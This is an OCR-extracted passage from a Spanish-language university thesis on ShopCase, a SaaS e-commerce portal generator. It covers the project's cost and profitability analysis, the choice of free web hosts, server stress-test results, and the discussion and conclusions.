3 307 27%
4 346 13%
5 390 13%

D. Costeo del desarrollo

Se realizd un costeo del desarrollo del proyecto, y un estimado de lo que representa cada

gasto para evaluar la rentabilidad del proyecto como una empresa.

Dentro de la elaboracién del prototipo funcional del sistema, se determind que el tiempo
total invertido para su desarrollo fue de aproximadamente de 400 horas. Asi mismo, se investigd
el salario promedio por hora de un programador junior del lenguaje PHP (utilizado para el
desarrollo del mismo) en Guatemala, el cual es de USS5.00. Por lo que, se determind que el

costo total del desarrollo del prototipo funcional es de US$2,000.



Tabla 56. Costeo del desarrollo del prototipo funcional

Desarrollo del prototipo funcional

Tiempo invertido (horas) 400
Costo por hora USS 5.00
Costo total USS 2,000.00

E. Gastos
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Los gastos representan los egresos de la empresa, dentro de estos se encuentran, el gasto

de mercadeo, el salario de los empleados, el gasto en servicios y los gastos administrativos.

En la siguiente tabla se observan detalladamente los gastos operativos y administrativos

estimados para evaluar la rentabilidad del proyecto al afio:

Tabla 57. Gastos totales.

Gastos Ao 1 Afio 2 Ao 3 Ao 4 Afio 5 Total
Alquiler $4,800 | $5,040 | $5,292 | S5,557 | $5,834 | $26,522
Electricidad $960 $1,008 |S$1,058 |S1,111 | S$1,167 | $5,305
Agua $240 $252 $265 $277 $290 $1,324
Teléfono $2,484 | $3,314 | $3,935 | S$4,434 | S4,997 | $19,164
Transporte $3,183 | $4,817 | $6,109 | S7,748 | $9,827 | $31,685
Servicio de Internet $720 $720 $720 $720 $720 $3,600
Servidor compartido $2,088 | $2,088 | $2,088 | $2,088 | $2,088 | $10,440
ig:}’;E;oc‘ieésirfonsacc'ones ©ON 1600 | $600 | $600 [ $600 | $600 | $3,000
Mantenimiento al sistema $360 $360 $360 $360 $360 $1,800
Seguros $1,200 | $1,200 | $1,200 | S$1,200 | $1,200 | $6,000
Relaciones Publicas $3,600 | $3,000 | $2,400 |$1,800 | S1,200 | $12,000
Publicidad $9,306 | $5,182 | $2,886 | $1,607 | $895 $19,876
Planilla $48,000 | $50,400 | $52,920 | $55,566 | $58,344 | $265,230
Insumos S947 $1,591 | S$2,383 |S3,179 | S3,775 | S11,875
Varios $1,200 | $1,260 | $1,323 | 51,386 | 51,462 | $6,631
Gastos totales $79,689 | $80,832 | $83,539 | $87,634 | $92,758 | $424,452
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En la siguiente grafica se observa la proporcion que cada uno de ellos representa sobre el

costo total.
llustracién 185. Gastos totales.
Electricidad
Insumos Varios 1% gz
Gastos totales N { o servidade mieme

servidorcompartido
%

Servicio de transacciones
con Tarjeta Crédito
b

Mantenimiento al
sistema
0%

Relaciones Piblicas

1. Gasto de Planilla. Como se puede observar, el gasto de planilla representa el 63% del
gasto total. Esto se debe a que la empresa contaria con cinco plazas para llevar a cabo la
comercializacion y servicio del sistema. Estas plazas se pagarian como servicios profesionales.
Ademads cada afio se realiza un incremento de 5% en el salario. A continuacién se detalla el
organigrama y el gasto total por afio.

llustracién 186. Planilla.

Administrador




Tabla 58. Gastos de planilla.

o A A A A A Tot
anttia fio 1 fio 2 fio 3 fio 4 fio 5 al

- S S S $ S S5

Administrador 9,600 | 10,080 | 10,584 | 11,113 | 11,669 | 3,046
Vendedor/Program S S S S S S5

ador 1 9,600 | 10,080 | 10,584 | 11,113 | 11,669 | 3,046
Vendedor/Program S S S S S S5

ador 2 9,600 | 10,080 | 10,584 | 11,113 | 11,669 | 3,046
Vendedor/Program S S S S S S5

ador 3 9,600 | 10,080 | 10,584 | 11,113 | 11,669 | 3,046
Vendedor/Program S S S S S S5

ador 4 9,600 | 10,080 | 10,584 | 11,113 | 11,669 | 3,046
) S S S $ S $2

Total Planilla 48,000 | 50,400 | 52,920 | 55,566 | 58,344 | 65,230
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2. Gasto de mercadeo. Dentro de este gasto se considerd el gasto por publicidad y el gasto

de relaciones publicas. Como puede observarse, el primer afio se realizard una fuerte

clientes recomienden la empresa a otras PYMES.

Tabla 59. Gastos de mercadeo.

campafia de relaciones publicas y publicidad para dar a conocer a la empresa dentro del sector
de las PYMES, con el fin de incrementar la captacion de clientes al final de primer afio. Luego
estos gastos se disminuiran afio con ano, lo cual es reflejado en la tasa de captacién de clientes
la cual va disminuyendo. Se espera no tener un impacto tan fuerte en la proyeccién de ventas a

medida que ShopCase vaya adquiriendo una imagen sélida dentro del sector y que los mismos

Gastos de mercadeo Inversi AR A A A A °
6n inicial o1l fio 2 fio 3 fio 4 fio 5 tal
Relaciones publicas 32,500 ,soo$3 3,000$ 2,400$ 1,800$ 1,200$ 2,003 '
Publicidad - ,30659 5,182$ 2,886$ 1,607$ 895 ; 9,87(§ '
Total 32,500 2,902 ' 8,182$ 5,286$ 3,4o7$ 2,095$ 1,87: ’
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3. Gasto en servicios. Se incurre en estos gastos debido al uso del servicio de electricidad,
agua, teléfono, internet, alquiler, transporte, hosting, tarjeta de crédito, mantenimiento

del sistema y seguros. Se asume un aumento de 5% anual para estos gastos, ya que se asume
que los precios aumenten debido a varios factores econémicos. Asimismo, en algunos rubros se

asume un incremento cada mes debido a que aumenta la actividad de la empresa.

4. Gastos administrativos. Se incurre en estos gastos debido al uso de insumos tales como
papel, tinta, lapiceros y demas material de oficina. También se planificé un rubro de
gastos varios para cualquier imprevisto. De la misma forma se estimd un crecimiento del 5%

anual.

F. Punto de Equilibrio

El punto de equilibrio es el nivel de ventas que requiere la empresa para cubrir los costos
operativos. Para calcularlo se separan los costos fijos y los variables, los costos fijos son la
planilla, gastos de mercadeo, en servicios, administrativos y varios. En el modelo SaaS la
adquisicidn de un cliente nuevo es soportada por los costos fijos, por lo que el costo variable
tiende a cero. Esto se debe a que el sistema funciona con una estructura multiatendida (se
utiliza la misma base de datos para todos los clientes) y el costo de generar y soportar un nuevo
cliente tiende a cero. El software no es distribuido de manera fisica sino los clientes acceden a él
por medio de internet, debido a esto el costo de flete del servicio tiende a cero. Ademas los
vendedores al ser accionistas no reciben comisidon de venta sino reciben beneficios al generar

utilidades.

La formula para obtener el punto de equilibrio es la siguiente:

Donde:
P = Precio de suscripcién mensual.

Q = Cantidad de clientes con suscripcion.
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CF = Costo fijo
CV = Costo variable por unidad.

Debido a que los costos variables de la empresa tienden a cero, la ecuacion se simplifica de

la siguiente manera:

Para calcular el punto de equilibrio de la cantidad promedio de clientes que se requieren al
afo, se tomd el promedio de costos fijos mensuales de cada afio y se dividid por el precio de

venta mensual. El punto de equilibrio se muestra en la siguiente tabla.

Tabla 60. Punto de Equilibrio: Cantidad promedio de clientes

Gasto Cantidad
|/ promedio P promedio
fno recio
mensual de clientes
$6,549 40 > 164
) $6,640 40 > 166
$6,861 40 > 172
S
4 $7,277 40 182
$7,618 40 > 190

Como se observa, en el primer ano, para cubrir los costos operativos de cada mes de la
empresa, se requiere suscribir 164 clientes. Con base a la estimacion de la demanda, esta
cantidad de clientes sdlo se logra hasta el mes de diciembre del primer afio; debido a esto se
generan utilidades a partir del segundo afio de operacién como se puede observar en el

siguiente cuadro y gréfica.



Tabla 61. Punto de Equilibrio: Ingresos y gastos.

Afo 1 Afo 2 Afo 3 Afo 4 Afio 5
Ingresos | Q36,901 | Q103,807 | Q132,401 | Q157,225 | Q177,165
Gastos Q79,689 | Q 80,832 | Q 83,539 | Q 87,634 | Q 92,758
[lustracion 187. Punto de Equilibrio: Ingresos y gastos
Q200,000
Q180,000
Q160,000 /w4
Q140,000 /
Q120,000
Q100,000 —®=Ingresos
Q80,000 - ——— " —@— Gastos
Q60,000
Q40,000 /
Q20,000
Q‘ T T T T 1
Afo 1 Afio 2 Afio3 Afio4 Afio5
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Asi mismo se determiné el punto de equilibrio para el precio de venta en base a los

clientes estimados al final del afio. Se encontrd que si se logra captar esta cantidad de clientes,

el precio que permite cubrir los costos fijos es menor al que el mercado esta dispuesto a pagar

de USS$40. Ademds se encontrd que la estrategia debe ser captar la mayor cantidad de clientes

posibles sin saturar el sistema, ya que se observa que al no tener costos variables significativos,

el precio de punto de equilibrio disminuye. Por lo tanto al mantener un precio de US$40 se

generan mas utilidades.

Tabla 62. Punto de Equilibrio: Precio.

~ Gasto Cantidad de .
Ano . . Precio
promedio clientes
1 $6,549 170 $39
2 $6,640 242 S27
3 $6,861 307 S22
4 $7,277 346 S21
5 $7,618 390 S20




G. Estado de resultados
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Es el estado financiero en donde se puede observar la utilidad o pérdida del negocio. En la

siguiente tabla se puede apreciar el estado de resultados proyectado en el horizonte de

planificacion a cinco afios.

Tabla 63. Estado de resultados.

Ingresos Afo 1 Afo 2 Ao 3 Afo 4 Afo 5
Clientes al final del afio 170 242 307 346 390
Ingresos $36,901 | $103,807 $132,401 | $157,225 | $177,165
Ingresos totales 536,901 $103,807 $132,401 | $157,225 | $177,165
Gastos Afo 1 Afo 2 Afio 3 Afo 4 Afo 5
Alquiler $4,800 | $5,040 $5292 | $5557 | $5,834
Electricidad $960 $1,008 $1,058 | $1,111 | $1,167
Agua $240 $252 $265 $277 $290
Teléfono $2,484 | $3,314 $3,935 | $4,434 | $4,997
Transporte $3,183 54,817 $6,109 $7,748 $9,827
Servicio de Internet $720 $720 $720 $720 $720
Servidor dedicado $2,088 | $2,088 $2,088 | $2,088 | $2,088
Servicio de transacciones con tarjeta

crédito $600 $600 $600 $600 $600
Mantenimiento al sistema $360 $360 $360 $360 $360
Seguros $1,200 $1,200 $1,200 $1,200 $1,200
Relaciones Publicas $3,600 | $3,000 $2,400 | $1,800 | $1,200
Publicidad $9,306 $5,182 $2,886 | $1,607 | $895
Planilla $48,000 $50,400 $52,920 $55,566 $58,344
Insumos $947 $1,591 $2,383 $3,179 $3,775
Varios $1,200 $1,260 $1,323 $1,386 $1,462
Gastos totales $79,689 $80,832 $83,539 587,634 $92,758
Ingresos $36,901 $103,807 $132,401 | $157,225 | $177,165
Gastos $79,689 $80,832 $83,539 $87,634 $92,758
Utilidades (542,788) | $22,974 $48,862 $69,592 $84,408
Impuestos (ISR) SO $5,190 $6,620 $7,861 $8,858
Utilidad neta después de impuestos ($42,788) | $17,784 $42,242 | $61,730 | $75,549
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Como se puede observar, se comienzan a generar utilidades hasta el afio 2, esto es comun
en las empresas nuevas de esta industria, adicional a los US$12,749 que se requieren de

inversion inicial se debe contar con el capital para sostener un afo de operacidon con pérdidas

por US$42,788.

En el cuadro siguiente se observan los porcentajes en los que la utilidad neta aumenta de

un afio al siguiente.

Tabla 64. Incremento de la Utilidad Neta.

An A A A A
ol no 2 no 3 no4 no5
. o ($4 $ $ $ $
Utilidad Neta después de impuestos 2,788) 17,784 | 42,242 61,730 75,549
% de incremento con respecto al ailo ) ) 1 4 2
anterior 38% 6% 2%

Como se puede observar en el afio 2 la empresa pasa a ser rentable y comienza a generar
utilidades las cuales van aumentando cada afio pero con una tasa decreciente. Esto muestra que
la empresa tiene un crecimiento muy fuerte en los primeros afos hasta el 5to afio en donde su

incremento de utilidades con respecto al afio anterior es de 22%.

Tabla 65. Margen Neto después de impuestos.

Margen Neto después de i 1 3 3 4
impuestos 7% 2% 9% 3%

Las utilidades netas del afio 2 son 17% de la venta y terminan siendo 43% en el aio 5. Esto
debido a que los clientes van aumentando afio con afio pero los gastos en su gran mayoria son

costos fijos que se mantienen.
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H. Tasainterna de retorno

Los inversionistas seleccionaron como Tasa Minima Atractiva de Retorno (TMAR) 20%. Al
realizar el cdlculo de la Tasa Interna de Retorno se obtiene una tasa de 52%, es bastante mas
alta que la TMAR. Tomando en cuenta la inflacion promedio de 7% (ver anexo 3), se calculé una

TMAR ajustada en que resulté ser 27%, y de igual manera el negocio resulta rentable.

Tabla 66. Tasa Interna de Retorno

Inversion Inicial ($12,749)
Afio 1 ($42,788)
Ao 2 $17,784
Afo 3 $42,242
Afio 4 $61,730
Afio 5 $75,549
Tasa Interna de Retorno 52%

I. Andlisis de sensibilidad

Se realizé un andlisis de sensibilidad para analizar evaluar el riesgo que tiene el cambio de
una variable en cierto porcentaje. Las variables que se escogieron son: la cantidad de clientes,
precio de venta y los costos fijos. En la tabla se puede apreciar la variacidon del parametro y el

efecto que tiene en la tasa interna de retorno.

Tabla 67. Andlisis de Sensibilidad

Variable -20% | -15% | -10% | -5% | 0% | 5% | 10% | 15% | 20%
Preciode Venta | 10% | 20% | 31% | 40% | 52% | 60% | 69% | 79% | 88%
Costos Fijos 93% | 81% | 71% | 61% | 52% | 41% | 33% | 26% | 18%

El cambio en la cantidad de clientes tiene el mismo efecto que el cambio en el precio de

venta, esto debido a que el volumen de ventas es calculado por el producto de estas dos
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variables. Por lo tanto en la grafica a continuacidn la variacién en la cantidad de clientes es la

misma curva que el precio de venta, al ser directamente proporcional.

llustracidon 188. Andlisis de sensibilidad.
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Tasa Interna de Retorno (TIR)
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Variacion

Con una variacién de -15% o -20% en el precio de venta o en la cantidad de clientes, el
proyecto ya no resulta rentable segiin la TMAR de 27% ajustada por la inflacién. De igual manera
también existe un riesgo con un mal manejo de costos, si los costos fijos aumentan en 15% o

20% el proyecto se rechaza.



XIX. IMPLEMENTACION DEL SISTEMA SOBRE UN SERVIDOR WEB

Uno de los objetivos del Sistema Generador de Portales de Venta en Linea (Shopcase) es
presentar un buen rendimiento remoto, es decir sobre Internet. Para lograr este objetivo fueron

necesarios los siguientes pasos:

1. Programacion web basada en mejores practicas y consejos para un buen
rendimiento.

2. Utilizacién de un Servidor Local para realizar diferentes pruebas y visualizar las
vistas previas del sistema.

3. Utilizacién de un Servidor Web para realizar las pruebas y visualizar la vista final
del sistema (las vistas con las que interactuardn los usuarios finales).

4. Realizar pruebas sobre ambos servidores, optimizar cédigo y obtener mejores

resultados en el rendimiento.

En esta seccidn se abarcaran principalmente los temas que involucren el rendimiento sobre

el Servidor Web y los resultados obtenidos en las diferentes pruebas realizadas.

A. Investigaciéon de opciones

Para poder realizar las diferentes pruebas de rendimiento remoto fue necesario seleccionar
un Servidor Web dentro de una gran variedad de servidores disponibles en la red. Para obtener
el mejor Servidor Web disponible se realizé un proceso de seleccidon en el que se consideraron

diez diferentes opciones.

freehostia

o http://www.freehostia.com/

000site

o http://000site.net/

host2x

o http://www.host2x.net/

Free Web Hosting Area (Freetzi)
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o http://freetzi.com/

LARGE

o http://www.l4rge.com/

000webhost
o http://www.000webhost.com/

Mezoka
o http://www.mezoka.com/

Perfectz

o http://perfectz.info/
® Zymic

o  http://www.zymic.com/
e Huuzy

o http://huuzy.com/

Estas opciones fueron contempladas ya que cumplian con los requisitos minimos
necesarios para que el sistema pudiera ejecutarse sin complicaciones. Los requisitos minimos

fueron los siguientes:

e Gratuito (Esto debido a que el sistema, en su fase de desarrollo y pruebas, no exige
caracteristicas de Servidores Web comerciales).

e Un espacio de disco de al menos 10MB.

e Una capacidad de transferencia de datos de al menos 35MB al dia (el equivalente a 1GB
al mes).

e Disponibilidad de al menos dos dominios.

e Disponibilidad de al menos una base de datos MySQL.

e Disponibilidad de un panel de control.

e Soporte de PHP, Web Mail, Servidor SMTP.

e Al menos una cuenta FTP.

e Libre de Publicidad del Servicio.
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B. Proceso de seleccion

Después de tener una interaccion con los diferentes sitios, y comparar las caracteristicas y
los servicios ofrecidos por cada uno de los Servidores Web mencionados, se obtuvieron tres
sitios que sobresalian sobre los demas: 000webhost, freetzi y zymic. A continuacidon se muestran

las caracteristicas de estos sitios:

1. 000webhost

e Precio: Gratuito.

Espacio de disco: 1500 MB.

e Transferencia de datos (ancho de banda): 100GB/mes
e Dominios disponibles para su creacion: 5.

e Bases de datos MySQL: 2.

e Panel de control: Si.

e Soporte PHP: Si.

e Soporte Web Mail: Si.

e Servidor SMTP: Si.

e Cuenta FTP: Si.

e Libre de publicidad del servicio: Si.

2. freetzi

e Precio: Gratuito.

e Espacio de disco: 1500 MB.

e Transferencia de datos (ancho de banda): Trafico ilimitado.
e Dominios disponibles para su creacion: 2.
e Bases de datos MySQL: 3.

e Panel de control: Si.

e Soporte PHP: Si.

e Soporte Web Mail: Si.

e Servidor SMTP: Si.

e Cuenta FTP: Si.

e Libre de publicidad del servicio: Si.



3. zymic

Precio: Gratuito.

Espacio de disco: 6000 MB.

Transferencia de datos (ancho de banda): 50GB/mes.

Dominios disponibles para su creacion: ilimitados.
Bases de datos MySQL: 5.

Panel de control: Si.

Soporte PHP: Si.

Soporte Web Mail: Si.

Servidor SMTP: Si.

Cuenta FTP: Si.

Libre de publicidad del servicio: Si.

C. Proceso de carga del sistema a los servidores
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Luego de seleccionar estos tres Servidores Web se realizaron los siguientes pasos para subir

el sistema sobre los mismos:

Creaciones de cuentas en los sitios web de los Servidores.

Creaciones de bases de datos.

Importacion de la base de datos maestra del sistema, que se manejaba en el Servidor

Local, en cada uno de los sitios (esto a través del phpMyAdmin).

Utilizacién de un Cliente FTP (Filezilla Client) para transferir todos los archivos del

sistema al Servidor Web.

Modificar los archivos de conexién con la base de datos para que contengan la

informacién de la base de datos en el Servidor Web. Informacién necesaria para la

conexién: servidor, usuario, contraseia y nombre de la base de datos.

Después de realizar el proceso de carga se presentaron ciertas dificultades con los

diferentes servidores. Por ejemplo, 000webhost adjunta “informacién analitica” a respuestas de

variables PHP manejadas internamente para conceder permisos sobre el sistema. Es decir que

para una respuesta que se espera “true”, se obtiene en su

lugar una respuesta
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“true<000webhost Analytic Information....” que variaba dependiendo del lugar en que se

realizara la peticion.

Otro problema que se presentd fue por las diferentes versiones de MySQL que manejan
estos servidores. En 000webhost por ejemplo, las consultas debian presentar todas las palabras
reservadas del lenguaje en mayusculas y no importaba que los nombres de las tablas empezaran
con letra mayuscula o minuscula. Sin embargo, freetzi utiliza una versién de MySQL que exige
gue los nombre de las tablas vayan con mayuscula o con minudscula segin como hayan sido

definidas (case sensitive).

D. Prueba de estrés

Después de solucionar los problemas necesarios para ejecutar el sistema sobre los
servidores se prosiguid a realizar las pruebas necesarias para obtener informacién del

rendimiento general del sitio.

La prueba de estrés aplicada sobre un sitio web, tiene como objetivo principal determinar
la robustez del sitio al ser sometido a situaciones que van mads alld de los limites de una

operacion promedio.

Algunas razones para realizar una prueba de estrés son las siguientes:

e Ahorra tiempo y recursos para realizar muchas pruebas de carga y peticiones sobre el
sitio.

e Asegura que en el momento de permitir el acceso de usuarios al sistema, éste sea capaz
de resistir una etapa de acceso masivo (si éste fuera el caso).

e Simula diferentes formas de utilizacion del sistema y algunas de estas pueden no haber
sido tomadas en cuenta.

e Encuentra deadlocks (procesos quedan esperando de forma indeterminada que otros
procesos suelten algln recurso debido a que éstos otros procesos también esperan por
otros recursos) y race conditions (donde un resultado o una salida depende criticamente
de los tiempos de ejecucién de otros eventos) que perjudican la usabilidad del sistema.

e Prevé ataques de negacion de servicio al servidor web al simular una situacion similar.
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La prueba de estrés puede tener distintos grados de complejidad al utilizar diferentes
formas de interaccién con el sitio web. La prueba de estrés realizada sobre el sistema tiene las

siguientes caracteristicas:

e Basada en cinco diferentes escenarios:
o 10clientes
o 20clientes
o 30clientes
o 40clientes
o 50clientes
e Alrededor de 14000 peticiones en total
e Alrededor de 300000KB de datos transferidos

1. Resultados de la prueba de estrés. Los resultados de la prueba de estrés realizada sobre
los tres servidores web se presentardn a través de una tabla de informacidn general, una

grafica delay/clientes y un cuadro con los detalles de la prueba.

La grafica delay/clientes muestra los resultados a través de una representacion de lineas en
donde se estaran desplegando 5 diferentes puntos. Cada punto corresponde a cada nivel de
carga (escenario) que se le aplica al sistema. Como se habia mencionado anteriormente los
cinco niveles de carga serdn de 10, 20, 30, 40 y 50 clientes y se desplegaran en el eje X. El eje Y
mostrara los tiempos de carga (delays o tiempos que se toma el sistema para cargarse) que

obtendran los diferentes niveles.

Entonces el valor de user loadtime sera el tiempo que le tome a un usuario cargar el
sistema en Internet, mientras n usuarios mas estan cargandolo al mismo tiempo. Donde n =

(clientes en cada uno de los cinco niveles de carga)- 1.

Este valor puede variar respecto al tiempo que un usuario, en una situacidon real,
experimente interactuando con el sistema dependiendo de qué explorador web se utilice y el
tiempo de ejecucion de componentes de javascript que tenga el sitio. Sin embargo, el valor

mostrado brinda una precisa aproximacion de la realidad.
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El tiempo de carga acumulado (Acc. Load time) es la suma de todos los tiempos de carga de
objetos, lo cual no es lo mismo que el tiempo que tome el sistema en cargarse y renderizarse en
un explorador web. La diferencia radica en que los objetos son cargados a través de diferentes
conexiones en paralelo por lo que su suma no sera la misma que el tiempo de carga del sistema.
Esta métrica muestra cuando un objeto empieza a cargarse de forma mds lenta. El uso de ancho

de banda (bandwitdth usage) muestra cuanto ancho de banda utilizan los clientes en conjunto.

2. Interpretacion de las gréficas. La grafica delay/clientes puede ser dificil de interpretar
debido a que muestra resultados buenos o malos dependiendo de qué se esta probando,

como se esta probando y qué requerimientos existen. Existen muchos factores que afectan el
rendimiento de un sitio por lo que se recomienda realizar la prueba varias veces para asegurar

gue la grafica mostrada sea una grafica correcta.

Los resultados de las graficas obtenidos se pueden interpretar siguiendo las siguientes

notaciones:

a. Las graficas exponenciales. Esta grafica es ideal desde la perspectiva de la prueba
porque muestra los limites de rendimiento del sistema. En el punto en el que una
grafica se empieza a comportar de esta forma se encuentra la cantidad de clientes limite a la

gue el sistema estaria restringido.

b. Las graficas ascendentes. Estas graficas muestran un sistema que utiliza de forma
constante ciertos recursos por lo que el tiempo de respuesta se incrementa con la
carga. Esto significa que el sistema baja su rendimiento de forma lineal. Tener este decremento

constante es una buena caracteristica para un sistema.

c. Las graficas planasEstas gréficas muestran un desempefiio éptimo en donde
practicamente no existe riesgo de estresar el sistema. Esta grafica generalmente se
presenta en sistemas como el buscador de Google que se ejecuta en grandes servidores y
protegen al sistema de ataques de estrés o negacion de servicios. También se presenta en partes
de un sistema que no poseen mucha interaccidn con recursos o instrucciones que sean costosas

0 generen retrasos.



3. Grdficas de resultados

a. 000webhost
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[lustracion 189. Grafica de la prueba de estrés sobre el servidor 000webhost.
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[lustracion 190. Detalles de la prueba de estrés sobre el servidor 000webhost.
Detalls
Test name: Frestest Test typa: Timeout
Test status: Finished Load generator: Stockholm 2
Target: shopcase.comule.comdsh Speed-Accuracy: Fast
Test started: 2010-10-15 001901 Clients: 10 - 50
Test ended: 2010-10-15 00:29:35 Timeout: 0 ms
Clients 10 20 30 40 50
284 293 azr 3.39 3.86



b. freetzi

llustracion 191. Grafica de la prueba de estrés sobre el servidor freetzi.
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llustracién 192. Detalles de la Prueba de Estrés sobre el servidor freetzi

Freetest
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C. zymic

[lustracion 193. Grafica de la prueba de estrés sobre el servidor zymic.
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[lustracion 194. Detalles de la prueba de estrés sobre el servidor zymic.

Details
Freetest Timeout
Finished Stockholm 2
shopcase.zxq. netishopca Fast
2010-10-21 23:45:28 10- 50
Test ended: 2010-10-21 23:56:40 0ms
Clients 10 20 30 40 50
3.98 4.35 404 417 41

El principal objetivo es brindar una vista amplia del rendimiento del sistema sobre los
distintos servidores web. A través de esta vista se puede demostrar que los tres servidores son
aptos para los propdsitos del sistema ya que presentan un rendimiento dentro de lo aceptable.
Haber obtenido una grafica exponencial o con muchos picos en solamente una prueba, hubiera

sido motivo de cambiar el servidor web por alguna de las otras opciones.



XX. DISCUSION

Las herramientas principales de desarrollo fueron capaces de cubrir todas las necesidades
gue se identificaron en la etapa de investigacion del Megaproyecto, no existié ninguna relacidn
de datos complicada como para representarla en tablas de MySQL, y PHP posee las
herramientas suficientes para dar soporte a la arquitectura que el proyecto necesitaba: un
sistema de comercio electrénico con una fuente centralizada de informacién que permite

generar cualquier cantidad de sitios.

La parte de modelo de la estructura modelo-vista-controlador fue integrada con el
controlador porque la l6gica de negocios consistia principalmente de operaciones con la base de
datos, mucho del procesamiento necesario para validaciones se hacia utilizando Javascript, el
cual no es una parte del modelo vista controlador. Sin embargo, esto no significa que la
arquitectura propuesta no pueda ser utilizada en un sistema en el que se requiera légica de
negocios mas compleja y que necesite la capa extra del modelo, pues no interfiere en absoluto
con el concepto de la arquitectura que se desarrolld; un solo repositorio centralizado de
librerias con multiples archivos dummy para representar una instancia del sistema. Otra razén
por la que se omitié es porque en un futuro se piensa transferir todas las consultas de base de
datos que se encuentran en los controladores a procedimientos almacenados en la base de
datos, lo que protege el cddigo de usuarios maliciosos y disminuye la necesidad de tener una
capa exclusiva dedicada al manejo de estos datos. No se utilizaron procedimientos almacenados
porque no existen herramientas para manejarlos de manera cémoda, y la reingenieria de estos

procedimientos durante la etapa de desarrollo hubiera resultado tediosa.

La metodologia utilizada para administrar el desarrollo, un modelo cldsico en cascada
utilizando elementos de la filosofia de metodologias agiles para la fase de desarrollo contribuyé
al desarrollo del proyecto, pues no requieren de extensa documentacion que ademas no

garantiza que agregue valor al desarrollo del proyecto.

Uno de los requerimientos del sistema es brindar una buena usabilidad y un buen disefio y
sin el desarrollo de este mddulo ninguno de estos requerimientos se hubiera cumplido. La parte

mas complicada en el mdédulo de disefio de plantillas fue lograr satisfacer diferentes
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tipos de necesidades en conjunto. Las vistas debian tener un fuerte trabajo en el disefio gréfico,
ser faciles de entender para cualquier usuario, mostrar los componentes en los lugares
apropiados, abarcar el suficiente espacio para todos las partes del sistema, utilizar colores

apropiados, implementar estilos modernos y animaciones agradables a la vista.

Haber realizado pruebas de usabilidad sobre usuarios finales que no tuvieran relacién con
la carrera de Ciencias de la Computacién fue un gran paso para lograr una usabilidad aceptable.
Las pruebas mostraron buenos resultados sin embargo evidenciaban ciertos errores de disefio,
despliegue, ubicacion y ldégica que complicaban el uso del sistema. Dichos errores fueron

solucionados posteriormente.

En un principio no se considerd utilizar un proceso de registro de usuarios utilizando
aplicaciones de terceros, pues suele ser una prdctica mayormente utilizada en sistemas de

comentarios en sitios de noticias y blogs; pero es innegable la comodidad que brinda al usuario.

Se considera que se implementaron buenas practicas de usabilidad en los mddulos
desarrollados, como mostrar mensajes de error no intrusivos y que detallen la naturaleza del
problema, que las funciones principales del sitio estén disponibles desde todas las vistas, que los
botones y enlaces mas importantes utilicen colores vistosos y en que se encuentren en lugares

de las vistas facilmente identificables.

Una oportunidad de mejora es pagar por un servidor que mejore la disponibilidad del
sistema pues el servidor actual es gratuito y no se garantiza que el sitio este levantado el 99%

del tiempo como es lo recomendado.

Gracias a la separacién adecuada de los diferentes mdédulos dentro del Megaproyecto se
logro trabajar de forma independiente al resto de mddulos, evitando asi la dependencia de los
tiempos de desarrollo de los demas integrantes. Debe tomarse en cuenta que el médulo de base
de datos debid iniciar su desarrollo antes que el resto de médulos ya que sin este era imposible
administrar y manipular la informacién. La comunicacién entre integrantes se mantuvo clara y
transparente para la solucién de problemas, implementacion de cambios o mejoras en la base

de datos y para la colaboracion con el médulo de administracion de empresas.

La arquitectura de base de datos multi-inquilino resulté ser muy eficiente y tener un disefio

apropiado para las necesidades del megaproyecto. Gracias a la seleccion adecuada del modelo
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de implementacién de una base de datos compartida con esquema compartido se logré crear
una base de datos que almacena la informacién de todos los clientes y aquella necesaria para el
proceso de administracion, manteniendo la privacidad e integridad de los datos a lo largo del
desarrollo. Las herramientas de comunicacién con la base de datos fueron de suma ayuda para
que el resto de médulos tuviera acceso a la informacidn sin tener que preocuparse por un

protocolo de comunicacion, ya que este se implementd en estas herramientas.

El desarrollo del Megaproyecto ayudd a poner en practica muchos de los temas de la
carrera de Ingenieria en Ciencias de la Computacién, como ingenieria de software, analisis de
sistemas, programacién orientada a objetos, seguridad informatica, interaccion humano-

computador, programacién PHP y bases de datos.



XXI. CONCLUSIONES

La arquitectura propuesta fue capaz de soportar el modelo SaaS para un servicio de
comercio electronico, es posible crear multiples sitios basados en una sola biblioteca
principal y Unicamente se necesitan 7.04 kilobytes para crear un nuevo sitio.

El megaproyecto representa un sistema SaaS con nivel de madurez tres, pues es una Unica
instancia la que sirve a todos los usuarios, y se utilizo el disefio de dummies para lograr este
proposito.

Se utilizé el método de gestidn de proyectos para dar seguimiento a las actividades y tener
claros los objetivos de los integrantes del equipo. El proyecto consistid de cuatro etapas
principales: Durante el primer semestre se trabajé la idea, el disefo y la planeacién, durante
el segundo y tercer semestre se trabajé en la ejecucién de la planeacidn y la evaluacién de
los objetivos.

El disefio de componentes para las vistas ayuda a reutilizar cédigo, y asegura que cualquier
tarea de reingenieria se tenga que realizar una sola vez, en un solo archivo.

El sistema ofrece un prototipo funcional de un sistema capaz de realizar un proceso
automatizado de venta-compra en linea sin la capacidad de realizar transacciones
econdmicas.

El uso de JQuery y llamadas asincronicas mejoran la experiencia del usuario, minimizando
los errores que el usuario pudiese cometer y proveyendo ayuda suficiente para cuando
estos ocurran.

La utilizacion del API de Gigya mejora la experiencia del usuario al permitirle que haga uso
de una cuenta preexistente en un sitio de red social en lugar de registrarse internamente en
el sistema, eliminando uno de los mayores problemas en sistemas web, el proceso tedioso
de registro.

Los procesos de seguridad implementados para el médulo de administracion de empresas
refuerzan la integridad de los datos. Ademas se protege de ataques de cross site scripting y
sql injection.

El médulo de administraciéon de empresas no se comunica de forma directa con el resto de
madulos, toda la informacién que es alimentada al médulo es obtenida de la base de datos
al igual que toda la informacién agregada o modificada a esta. Es por esto que se pueden

realizar pruebas de cada madulo por separado.
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El disefio de la base de datos permitié que el resto de mdédulos de Megaproyecto fueran
desarrollados de forma independiente.

Las herramientas de comunicacién disefiadas permiten que los integrantes del resto del
Megaproyecto puedan comunicar su médulo con la base de datos sin necesidad de generar
cddigo extra.

El proyecto presenta una Tasa Interna de Retorno de 52%, la cual es mayor a la TMAR
ajustada por la inflacidon de 27% establecida por los inversionistas, por lo que el proyecto se
debe realizar.

El mercado que se quiere abarcar debido a la estructura del negocio es de 390 clientes esto
corresponde a 0.3% de los clientes potenciales (142,142) que son las PYMES con acceso a
internet, dispuestas a pagar un precio de US$40 mensuales por el servicio que Shopcase
ofrece.

Se necesita una Inversion Inicial de US$12,740 y cubrir la pérdida del primer afio de
operacion por $42,788 lo cual se pretende que sea cubierto por los cinco accionistas

Se determind que el costo del desarrollo del sistema fue de $2,000 y el gasto principal de
operacion sera el de planilla con el 63% de los gastos totales. Estos empleados son el pilar
